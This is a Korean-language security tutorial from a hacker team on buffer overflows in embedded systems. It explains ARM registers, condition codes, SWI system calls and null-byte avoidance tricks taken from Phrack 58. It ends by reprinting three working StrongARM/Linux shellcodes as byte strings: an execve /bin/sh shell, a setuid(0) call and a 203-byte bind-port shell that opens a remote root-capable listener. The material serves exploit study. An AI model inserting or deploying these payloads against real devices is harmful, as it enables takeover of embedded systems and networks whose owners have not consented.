Buffer Overflow & Embedded System

written by shad0w

r3e2f1@chol.com

shad0w@wowhacker.org

Wowhacker Team

http://www.wowhacker.org

Abstract

내장형 시스템은 어느 곳에나 있고 매일 사용하는 모든 기기에 포함되어 있다. 네트워크 설비, 프린터, 휴대전화 그리고 그 외 응용 분야에 사용된다. 별로 놀랄 것 같지 않지만, 내장형 시스템에서 실행되고 있는 코드는 버퍼 오버플로우 공격에 특히 취약하다.
내장형 시스템은 다양한 하드웨어 플랫폼에서 실행된다. 이런 시스템은 대부분 기존의 하드디스크가 아닌 메모리에 데이터를 저장하게 된다.. 내장형 시스템에 대한 버퍼 오버플로우 공격에 대해 알아보기로 하자.

Ⅰ. Concept of Buffer overflow

ⅰ. 왜 버퍼 오버플로우가 존재하는가?

버퍼 오버플로우는 1996년 이후로 취약점 목록에서 항상 빠짐없이 등장하는 공격 방법이다. 줄여서 BOF 라고도 하는데 버퍼 오버플로우 용어 자체는 이전부터 있었다. 단지 넘치는 버퍼를 이용해서 시스템을 장악할 수 있는 방법이 1996년 Phrack 이라는 해커들의 잡지에서 처음 소개되었고, 그때 이후로 계속 버퍼 오버플로우라는 용어가 사용되었다.

그러면, 왜 버퍼 오버플로우가 계속되어 존재하는가 궁금해진다. 이에 대한 원인은 언어 자체의 설계적 문제점과 연관되어 생각할 수 있다. C/C++ 같이 시대에 뒤떨어진 메모리 관리 방식을 고수하는 언어들은 더더욱 버퍼 오버플로우에 취약할 수 밖에 없다. 이도 그럴 것이 C/C++ 같은 경우 비트를 직접 참조할 수 있고, 이를 마음대로 변경할 수도 있다. 캐스팅하는 등의 불안전한 능력을 발휘 할 수 있기 때문이다. 더욱 고급언어로 속하는 자바나 C# 같은 경우엔 이런 입장에서 본다면 좀 더 안전한 언어라고 할 수 있다.

ⅱ. 버퍼 오버플로우의 종류는?

일반적인 버퍼 오버플로우는 스택(Stack) 오버플로우를 말하는 것이지만, 실제로 버퍼는 스택만 있지 않고 힙 공간에서도 있으므로, 버퍼 오버플로우는 스택(Stack), 힙(Heap) 으로 나뉠 수가 있다.

스택 같은 경우 프로그래머가 코드를 구현하면서 쉽게 생각하여 막아낼 수 있지만 힙 같은 경우엔 피해가 더 심하고 막기가 스택보다 어렵다고 할 수 있다.

ⅲ. 버퍼 오버플로우가 가능한 이유는?

버퍼 오버플로우가 가능한 이유 또한 역시 C 언어 설계로 들어간다. 초창기에 유닉스 시절의 이야기이다.

유닉스 시절에 C언어에 문자열을 처리하는 루틴 설계에 대해서 고심하던 중 문자열의 끝을 NULL 로 끝내자고 약속하고, 그래서 문자열 마지막에 NULL(0바이트)로 끝나면 문자열의 마지막이라고 C 언어에서 설계가 되었다. 이게 그때 당시에는 상당히 효율적인 관리였다고 생각했었지만 현재, 이 문제로 인하여 버퍼 오버플로우라는 문제가 끊임없이 발생하고 있어도 과언이 아니다.

만약 문자열이 NULL 로 끝나지 않는다면 해당 프로그램은 어디로 튈지 모른다.

많은 프로그램들이 변수를 플래그 형식으로 유지시켜서 해당 상태 값을 저장하곤 한다. 그러면 이 플래그 변수가 상당히 중요한 정보를 저장할 수가 있다. 예를 들어 사용자가 해당 파일에 접근 할 수 있는가 없는가를 이 플래그를 이용해서 구현하는 프로그램도 많다. 이를 반영하는 실화가 하나 있다.

예전에 마이크로소프트사의 Windows NT 커널을 분석하던 해커가 있었다. 그 해커는 분석 중 특정 비트 하나의 값을 바꿔 놓으면 Windows 컴퓨터 간의 네트워크 전체에 걸린 모든 보안을 제거할 수 있다는 것을 발견하였다고 한다.

ⅳ. 빅 엔디언과 리틀 엔디언

CPU에 따라서 바이트를 메모리에 저장하는 방식이 다르다. 빅 엔디언 방식과 리틀 엔디언 방식이 그것인데 인텔 x86 CPU 는 리틀 엔디언을 사용한다. 0x11223344 를 메모리에 저장한다고 한다면 리틀 엔디언은

44 33 22 11 형식으로 메모리에 저장되고, 빅 엔디언은 11 22 33 44 와 같이 순서대로 저장되게 된다.

Ⅱ. Embedded System

ⅰ. 개 념

책에서 소개되는 임베디드 시스템의 버퍼 오버플로우는 장비에 대한 버퍼 오버플로우에 대한 소개가 간략히 되어있다. 버퍼 오버플로우가 군사용 장치나 상업용 장치에 존재할 경우에 대한 심각한 결과를 소개하는 정도이다.

실제로 현재 유비쿼터스 환경을 구성하는데 있어서 임베디드 시스템은 없어서는 안 되는 필수 요소이다.

임베디드 시스템은 기존부터 존재하였지만 유비쿼터스 환경이 급성장 하면서 임베디드 시스템 관련 분야도 급성장하기 시작하였다.

현존하는 모든 전자제품을 임베디드 시스템이라 봐도 과언이 아니다. 멀티미디어 및 인터넷 환경이 갖추어진 냉장고, TV, 휴대폰 등이 주로 현재 많은 성장 주역으로 불린다.

이런 환경에서는 저전력과 공간의 제약성, 저장용량의 한계성 등의 고려사항이 있다. 이러한 제약사항으로 인해 임베디드 시스템에서 현재 인텔 계열의 CPU 가 아니라 ARM 사에서 개발한 ARM CPU 를 많이 사용하고 있다. ARM 은 기존 x86 CPU 와 다른 점이 몇 개 있다. 일단 레지스터 구조가 틀리다는 것과 메모리 관리 장치인 MMU 가 ARM에는 존재하지 않는다(ARM7TDMI). 이런 설계적인 문제점이 임베디드 시스템에서 버퍼 오버플로우 공격을 어렵게 한다. 하지만 이 또한 x86 시스템만 대상으로 연구하였기 때문에 ARM 시스템에서의 버퍼 오버플로우가 어려운 것이지, 실제 해당 차이만 안다면 어렵지 않게 버퍼 오버플로우를 통해 시스템을 장악할 수 있다.

ⅱ. ARM 아키텍처

임베디드 시스템 시장의 대부분이 ARM 프로세서가 차지한다. 따라서 ARM 아키텍처를 공부하면 x86 시스템과 공격 방법은 별 차이가 없다. 따라서 ARM 에 대해서 간단히 알아보자.

ARM 은 80년대 중반에 고안되었는데 당연히 저전력과 낮은 비용을 최대한으로 살리려고 했다.

실제로 ARM 프로세스를 고안한 Acorn 사는 프로세스를 제조하진 않고 디자인만 라이센스를 통해서 팔았다고 한다. 이 프로세서의 가장 큰 특징은 Advanced RISC 구조라는 것이다. 기존에 인텔 계열에 x86 CPU들이 CISC 구조였다. ARM 의 모든 명령어는 32bit 길이를 가지는 반면, 속도와 용량의 효율성을 위해서 16bit 명령어인 Thumb 가 존재한다.

현재는 ARM 11 까지 나왔지만 ARM Version 4 로 불리는 ARMv4 가 현재 많이 쓰이며 ARM 10 이 ARMv5 에 속한다. 잠시 ARMv4 의 특징을 소개하도록 한다. 인텔사에서 인수한 StrongARM 도 ARMv4에 속한다.

- Version 3의 확장
- User mode 가 프로세서 모드에 추가됨
- Halfword load/store 명령어 추가
- T-Variants 에서 Thumb Version 1 사용
- ARM8, ARM7T, ARM9T, StrongARM 이 여기에 해당됨

ⅲ. ARM 레지스터

ARM 프로세서에는 총 16개의 레지스터가 존재한다.(r0 ~ r15는 프로그램 카운터(PC))

여기에서 r13 레지스터(SP)가 바로 스택 포인터(Stack Pointer)로 사용 되어지고, r14는 링크

레지스터(LR)로 사용된다. 이 r14 가 실제로 함수가 호출될 시 리턴 어드레스를 담고 있다. r13, r14 레지스터들이 함수구현과 관련되어 자주 사용된다. ARM 스택도 마찬가지로 낮은 주소를 향해서 자라기 때문에 스택 포인터(SP)는 항상 “Full descending Stack” 을 향하고 있다. (스택의 마지막 부분)

이 세 개의 레지스터를 좀 더 자세히 알아보자.

▪ r15 (Program Counter)

r15는 다른 CPU에서 PC와 같은 역할을 한다. 다만 다른 CPU 와 차이가 있다면 r15를 다른 레지스터처럼 오퍼랜드로 사용 가능한 것과 ARM 어셈블리어에서는 PC 라는 키워드와 r15를 동일 시 한다.

▪ r13 (Stack Pointer)

ARM 레지스터에는 x86 에서 지원하는 스택을 위한 명령어(Push, Pop)가 지원되지 않는다. 따라서 sp라는 키워드를 사용하여 r13을 사용할 수 있다. Push, Pop 이 존재하지 않으므로 ARM 에서 이와 같은 기능을 처리할 때 일반 데이터 전송 명령어를 사용해서 처리한다. 데이터 전송 명령어는 Auto Increment 기능이 있어서 하나의 명령어로 Push 나 Pop 과 동일한 기능을 수행할 수 있다.

▪ r14 (Link Register)

이 또한 x86(8086) 시스템에서 보지 못했던 레지스터이다. 보통 x86 프로세서는 서브루틴을 호출할 경우 CALL을 사용하면 프로그램 카운터를 스택에 Push 하고, 프로그램 카운터에는 호출될 주소를 넣는다. 하지만 ARM 에서는 CALL, RET 같은 명령어가 제공되지 않는다. 따라서 Branch with Link 라는 명령(BL)이 있는데 이 명령을 수행하면 CALL 과 비슷하게 다음에 수행될 프로그램 카운터(pc)(r15) 값을 스택이 아니라 lr(r14)에 넣고 분기 주소를 프로그램 카운터(r15)에 넣어 분기하는 방식을 사용한다. 즉, 스택을 사용하지 않는다. 복귀할 때는 RET 대신에 mov pc, lr 이라는 데이터 전송명령으로 복귀한다.

왜 ARM 에서 x86 의 방식을 사용하지 않고 이런 방식을 사용하는지는 잘 생각해보면 스택을 사용하지 않는 걸 알 수가 있습니다. 이렇게 레지스터만 사용하면 당연히 속도에서 이익을 볼 수 있게 된다.

기타 상태 레지스터 6개 존재한다. 당연하지만 6개를 모두 한꺼번에 사용할 순 없다.

그리고 컨트롤 비트(Control Bits) 중에 Mode Bits 라는 게 있는데 M0 에서 M4까지 사용되며, CPU 6개의 동작 상태를 나타낸다. 이 말은 ARM CPU 는 6개의 동작 모드를 가진다는 의미인데, User Mode, Interrupt Mode, FIQ Mode, IRQ Mode, Supervisor Mode, Abort Mode, Undefined Mode 로 나뉜다.

<u>iv. ARM 프로세서 명령어 집합</u>

우리가 ARM 프로세스를 알아가면서 확실히 알아둬야 할 것은 ARM 도 32bit 이기 때문에 32Bit 가 하나의 명령어가 되며 Word 단위인 것이다. (참고로 x86 은 명령어에 따라 1 ~ 5 byte까지 있다) 이에 반해 ARM 에서는 모든 명령어를 하나의 Word로 처리한다는 것이다. 주소는 상대주소를 사용하는데, 상대주소란 말은 직접적인 주소를 쓰기보단, 메모리에 넣어두고, 해당 메모리를 나중에 참조한다는 것이다. 예로 r0 에 32Bit 상수를 넣고 싶다면, 메모리에 미리 넣어두고 해당 메모리를 상대 주소로 참조한다.

ARM 명령어는 모든 명령어를 조건적으로 실행시킬 수 있는데, 이 말인즉, x86 에서 jz 는 Jump Zero, 즉, 제로 플래그가 설정되어 있으면 점프하게 된다. 하지만 ARM 에서는

```
BEQ             jmp_1
MOVEQ           r0, r1
```

브랜치(Branch) 명령어인 BEQ 나 MOV 종류의 명령어들 모두 조건을 걸 수 있다. 위의 예는 jmp_1 에 제로

플래그가 설정되어 있으면 분기하라는 것이고, 밑에 명령어는 제로 플래그가 설정되어 있으면 r1 의 내용을 r0에 집어넣는 것이다. 여기서까지 OPCODE를 언급하진 않겠지만 OPCODE 의 상위 4비트는 이런 조건옵션을 나타내는데 사용된다. 결국 아래 언급하게 되었다.

Table 3-1 Condition codes

Opcode [31:28]	Mnemonic extension	Meaning	Condition flag state
0000	EQ	Equal	Z set
0001	NE	Not equal	Z clear
0010	CS/HS	Carry set/unsigned higher or same	C set
0011	CC/LO	Carry clear/unsigned lower	C clear
0100	MI	Minus/negative	N set
0101	PL	Plus/positive or zero	N clear
0110	VS	Overflow	V set
0111	VC	No overflow	V clear
1000	HI	Unsigned higher	C set and Z clear
1001	LS	Unsigned lower or same	C clear or Z set
1010	GE	Signed greater than or equal	N set and V set, or N clear and V clear (N == V)
1011	LT	Signed less than	N set and V clear, or N clear and V set (N != V)
1100	GT	Signed greater than	Z clear, and either N set and V set, or N clear and V clear (Z == 0,N == V)
1101	LE	Signed less than or equal	Z set, or N set and V clear, or N clear and V set (Z == 1 or N != V)
1110	AL	Always (unconditional)	-
1111	(NV)	See *Condition code 0b1111* on page A3-5	-

위 표는 ARM 아키텍처 레퍼런스 매뉴얼에 존재하는 [표3-1] 이다.

그럼 저를 참고해서 분기 명령(Branch)을 잠깐 알아보도록 하자.

분기 명령은 B로 시작하며 일반적인 B(Branch)와 Link 를 사용한 BL(Branch with Link) 가 있다.

이 명령어의 OPCODE 는 상위 4비트는 위 표3-1에 해당하는 Status 비트이며, 3비트인 101 은 B 명령어를 나타내는 것이다. 그리고 마지막으로 L 부분은 1이면 BL 이 되는 거고, 0이면 B 가 되는 것이다.

정리하면 다음과 같다.

| Status(4bit) | 101(3bit) | L(1bit) | <- 총 8비트

BL은 위에 레지스터를 소개하는 부분에서도 얘기를 했는데 일반적인 CALL로 생각하면 된다. 다만 스택을 사용하지 않는다는 것(대신 프로그램 카운터 값 저장을 위해 r14를 사용한다.) 8bit를 사용했으니 나머지 24bit 는 오프셋(Offset)으로 사용된다.

ARM 명령어의 50% 가량에 해당하는 명령어가 데이터 처리 명령이다. 이 부분은 여기어 적는 것도 적합치 않고, 너무 방대해서 개인적으로 Reference Manual 을 참고하도록 하자.

이를 제외하고 우리가 중요시 여겨야 될 부분이 SWI 이다. 이와 비슷한 이름을 가진 SWP도 있는데 이는 Single Data Swap 이다. 단어 그대로 데이터를 교환한다는 의미이다. SWP는 세마포어를 구현할 때 사용되는 방법이라 한다. 왜냐하면 SWP 는 명령 도중에 인터럽트에 의해 중단되지 아니하고, 계속 이루어지는데 이는 세마포어(Semaphore) 연산에 강점으로 작용하기 때문이다.

여튼 SWP 이야기는 그만하고, SWI 이야기를 하자면 Software Interrupt 의 약어로써, x86 프로세서에서

INT 명령어에 해당된다. 이 소프트웨어 인터럽트(SWI)가 동작하면 동작모드가 바뀌게 되는데, 이때 Supervisor 상태로 진입을 하게 된다. 잘 생각해보면 일반적으로 x86에서 INT 을 통해서 시스템 호출을 사용하므로, SWI를 사용해서 시스템 호출 함수 등을 사용할 수 있다는 얘기가 된다.

명령어 형식은 SWI{cond} <expression> 인데, 여기서 expression은 24bit는 사용되지 않는데, 이유인즉, SWI 오피코드(OPCODE)를 보면 처음 4bit 는 조건 플래그(표3-1)로 사용되고 그 다음 4비트는 명령어를 나타내는데 SWI에 해당하는 명령어는 1111 이다. 그럼 나머지 24bit는 해당 오프셋이 될터인데 굳이 사용되지 않는다고 하는 이유는 어떠한 값이 들어와도 동일하게 동작하기 때문이다.

CPU가 SWI 명령어를 만나게 되면 소프트웨어 예외 핸들러(Software Exception Handler)로 넘기게 되고, 복귀 번지가 r14_svc 에 저장된다고 한다. 이 핸들러 부분에서 복귀 번지를 이용하여 해당 명령을 직접 읽어다가 24bit 부분을 인수로 해석해서 사용하는 것이다.

자 정리하면 다음과 같다. 보통 ARM 에서 시스템 호출을 사용하기 위해서 SWI 를 사용하며, 뒤에 인자로 호출 함수 주소(인터럽트 벡터 주소)를 적어준다. 실제로 ARM CPU 에서는 해당 주소를 가지고 지지고 볶고 하지는 않고, 소프트웨어 인터럽트 핸들러의 복귀번지에 해당 시스템 호출 함수 주소가 인자로 들어가서 해당 함수를 호출하는 것이다.(필자의 추측 -_-)

참고로, 고정된 시스템 호출 베이스 주소는 0x900000 이다. 아래는 Phrack 58호에서 소개된 “Developing StrongARM/Linux Shell code” 에서 소개된 Shell Code 작성 시 사용되는 시스템 호출 목록을 조금 나타낸 것이다.

```
execve:
       -------
              r0 = const char *filename
              r1 = char *const argv[]
              r2 = char *const envp[]
      call number = 0x90000b

setuid:
       -------
              r0 = uid_t uid
      call number = 0x900017

dup2:
         -----
              r0 = int oldfd
              r1 = int newfd
      call number = 0x90003f

socket:
       -------
              r0 = 1 (SYS_SOCKET)
              r1 = ptr to int domain, int type, int protocol
      call number = 0x900066 (socketcall)
```

```
bind:
        -----
              r0 = 2 (SYS_BIND)
              r1 = ptr to int  sockfd, struct sockaddr *my_addr,
                   socklen_t addrlen
      call number = 0x900066 (socketcall)

listen:
       -------
              r0 = 4 (SYS_LISTEN)
              r1 = ptr to int s, int backlog
      call number = 0x900066 (socketcall)

accept:
       -------
              r0 = 5 (SYS_ACCEPT)
              r1 = ptr int s,  struct  sockaddr  *addr,
                   socklen_t *addrlen
      call number = 0x900066 (socketcall)
```

ⅴ. Shellcode 작성하기

ARM 시스템에서 Shell Code를 작성하기 위해서 위의 내용뿐만 아니라 기타 다른 지식들도 필요하다. 이는 Phrack 58호에서 자세히 소개하고 있는데, 그 내용에 대해서 핵심내용만 언급하도록 한다.

자신의 코드 위치를 획득하는 방법을 설명하고 있는데, 간단히 프로그램 카운터(PC)를 사용하고 SWI 를 사용해서 자신의 코드 위치를 획득하는 방법이다.

```
sub   r0, pc, #4
```

위 명령에서 # 다음에 오는 숫자는 상수를 나타내는 것이다. Pc 에서 4를 뺀 결과를 r0 에 저장하라는 의미이다. 이렇게 하면 다음 명령어의 주소가 r0에 저장된다.

```
bl    sss
swi   0x900001
sss: mov      r0, lr
```

위는 브랜치(Branch) 명령어로 sss 로 분기하는 것인데 이때, bl 을 사용하였으므로 with Link 이다.

따라서 lr 에 다음 프로그램 카운터 주소를 넣고, r15에 분기 주소(sss)를 넣는다. 그렇기 때문에 lr 을 r0에 저장함으로써, r0 은 “swi 0x900001” 을 가리키게 된다.

반복문을 사용할 때에도 다음처럼 처리된다.

```
  mov  r0, #3 // 루프 카운터를 3으로 설정한다.
loop: …
  sub  r0, r0, #1 // 루프 카운터를 1을 감소시킨다. (반복문을 한 번 실행했으니 당연히 감소되어야 함)
  cmp  r0, #0  // 루프 카운터가 0인지 비교한다. (0이면 루프가 종료되기 때문에)
  bne  loop  // 제로 플래그가 1이 아니면 다시 loop 를 반복한다.
```

물론 해당 Phrack 58호 에서는 subs 명령어를 사용하여 cmp 를 제거할 수 있는 효율을 언급까지 하고 있다. 그렇게 되면 sub 대신에 subs 를 사용하고, cmp 라인만 제거하면 된다.

Shell Code를 작성하면서 NOP 부분도 중요한 부분인데, ARM 에서 mov r0, r0 이 NOP로 사용되지만, NULL을 포함하기 때문에 적합하지 않다. 따라서 mov r1, r1을 대신 사용 하도록 한다.

마지막으로 NULL 을 회피하는 방법을 설명하고 마치고자 한다.

위에서 r0 을 사용하면 NULL 이 포함되어 있다고 했다. 그러면 이 코드를 변경할 수 있어야 하는데 다음이 대안이다. 아래는 Phrack 58호에서 소개된 방법들이다.

```
Orignal :
e3a00041    mov   r0, #65
New :
e0411001    sub   r1, r1, r1
e2812041    add   r2, r1, #65
e1a00112    mov   r0, r2, lsl r1  (r0 = r2 << 0)

Syscall
New :
e28f1004    add   r1, pc, #4    <- get address of swi
e0422002    sub   r2, r2, r2
e5c12001    strb  r2, [r1, #1]  <- patch 0xff with 0x00
ef90ff0b    swi   0x90ff0b      <- crippled syscall

Store/Load multiple도 또한 NULL 을 포함하기 때문에 다음처럼 수정해야 한다.
e92d001e    stmfd sp!, {r1, r2, r3, r4}

링크 레지스터와 함께 저장하기를 사용함.

e04ee00e    sub   lr, lr, lr
e92d401e    stmfd sp!, {r1, r2, r3, r4, lr}
```

vi. 실제 ShellCode

47Byte

```
/*
 * 47 byte StrongARM/Linux execve() shellcode
 * funkysh
 */

char shellcode[]= "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */
                  "\x1c\x30\x8f\xe2"   /*  add   r3, pc, #28           */
                  "\x04\x30\x8d\xe5"   /*  str   r3, [sp, #4]          */
                  "\x08\x20\x8d\xe5"   /*  str   r2, [sp, #8]          */
                  "\x13\x02\xa0\xe1"   /*  mov   r0, r3, lsl r2        */
                  "\x07\x20\xc3\xe5"   /*  strb  r2, [r3, #7           */
                  "\x04\x30\x8f\xe2"   /*  add   r3, pc, #4            */
                  "\x04\x10\x8d\xe2"   /*  add   r1, sp, #4            */
                  "\x01\x20\xc3\xe5"   /*  strb  r2, [r3, #1]          */
                  "\x0b\xff\x90\xef"   /*  swi   0x90ff0b              */
                  "/bin/sh";
```

20Byte

```
/*
 * 20 byte StrongARM/Linux setuid() shellcode
 * funkysh
 */

char shellcode[]= "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */
                  "\x04\x10\x8f\xe2"   /*  add   r1, pc, #4            */
                  "\x12\x02\xa0\xe1"   /*  mov   r0, r2, lsl r2        */
                  "\x01\x20\xc1\xe5"   /*  strb  r2, [r1, #1]          */

                   "\x17\xff\x90\xef";  /*  swi   0x90ff17              */
```

203Byte

```
/*
 * 203 byte StrongARM/Linux bind() portshell shellcode
 * funkysh
 */

char shellcode[]= "\x20\x60\x8f\xe2"   /*  add   r6, pc, #32           */
                  "\x07\x70\x47\xe0"   /*  sub   r7, r7, r7            */
                  "\x01\x70\xc6\xe5"   /*  strb  r7, [r6, #1]          */
                  "\x01\x30\x87\xe2"   /*  add   r3, r7, #1            */
                  "\x13\x07\xa0\xe1"   /*  mov   r0, r3, lsl r7        */
                  "\x01\x20\x83\xe2"   /*  add   r2, r3, #1            */
                  "\x07\x40\xa0\xe1"   /*  mov   r4, r7                */
                  "\x0e\xe0\x4e\xe0"   /*  sub   lr, lr, lr            */
                  "\x1c\x40\x2d\xe9"   /*  stmfd sp!, {r2-r4, lr}      */
                  "\x0d\x10\xa0\xe1"   /*  mov   r1, sp                */
                  "\x66\xff\x90\xef"   /*  swi   0x90ff66      (socket)*/
                  "\x10\x57\xa0\xe1"   /*  mov   r5, r0, lsl r7        */
                  "\x35\x70\xc6\xe5"   /*  strb  r7, [r6, #53]         */
                  "\x14\x20\xa0\xe3"   /*  mov   r2, #20               */
                  "\x82\x28\xa9\xe1"   /*  mov   r2, r2, lsl #17       */
                  "\x02\x20\x82\xe2"   /*  add   r2, r2, #2            */
                  "\x14\x40\x2d\xe9"   /*  stmfd sp!, {r2,r4, lr}      */
                  "\x10\x30\xa0\xe3"   /*  mov   r3, #16               */
                  "\x0d\x20\xa0\xe1"   /*  mov   r2, sp                */
                  "\x0d\x40\x2d\xe9"   /*  stmfd sp!, {r0, r2, r3, lr} */
                  "\x02\x20\xa0\xe3"   /*  mov   r2, #2                */
                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */
                  "\x0d\x10\xa0\xe1"   /*  mov   r1, sp                */
                  "\x66\xff\x90\xef"   /*  swi   0x90ff66        (bind)*/
                  "\x45\x70\xc6\xe5"   /*  strb  r7, [r6, #69]         */
                  "\x02\x20\x82\xe2"   /*  add   r2, r2, #2            */
                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */
                  "\x66\xff\x90\xef"   /*  swi   0x90ff66      (listen)*/
                  "\x5d\x70\xc6\xe5"   /*  strb  r7, [r6, #93]         */
                  "\x01\x20\x82\xe2"   /*  add   r2, r2, #1            */
                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */
                  "\x04\x70\x8d\xe5"   /*  str   r7, [sp, #4]          */
                  "\x08\x70\x8d\xe5"   /*  str   r7, [sp, #8]          */
                  "\x66\xff\x90\xef"   /*  swi   0x90ff66      (accept)*/
                  "\x10\x57\xa0\xe1"   /*  mov   r5, r0, lsl r7        */
                  "\x02\x10\xa0\xe3"   /*  mov   r1, #2                */
                  "\x71\x70\xc6\xe5"   /*  strb  r7, [r6, #113]        */
                  "\x15\x07\xa0\xe1"   /*  mov   r0, r5, lsl r7 <dup2> */
                  "\x3f\xff\x90\xef"   /*  swi   0x90ff3f       (dup2) */
                  "\x01\x10\x51\xe2"   /*  subs  r1, r1, #1            */
                  "\xfb\xff\xff\x5a"   /*  bpl   <dup2>                */
                  "\x99\x70\xc6\xe5"   /*  strb  r7, [r6, #153]        */
                  "\x14\x30\x8f\xe2"   /*  add   r3, pc, #20           */
                  "\x04\x30\x8d\xe5"   /*  str   r3, [sp, #4]          */
                  "\x04\x10\x8d\xe2"   /*  add   r1, sp, #4            */
                  "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */
                  "\x13\x02\xa0\xe1"   /*  mov   r0, r3, lsl r2        */
                  "\x08\x20\x8d\xe5"   /*  str   r2, [sp, #8]          */
                  "\x0b\xff\x90\xef"   /*  swi   0x900ff0b     (execve)*/
                  "/bin/sh";
```

Ⅲ. Reference

[1] ARM 강좌 - zartoven@secsm.org

[2] Into my ARMs Developing StrongARM/Linux Shellcode - funkysh(funkysh@sm.pl)

[3] ARM Architecture Reference Manual

[4] Exploiting software : How to break code - Greg Hoglund, Gary McGraw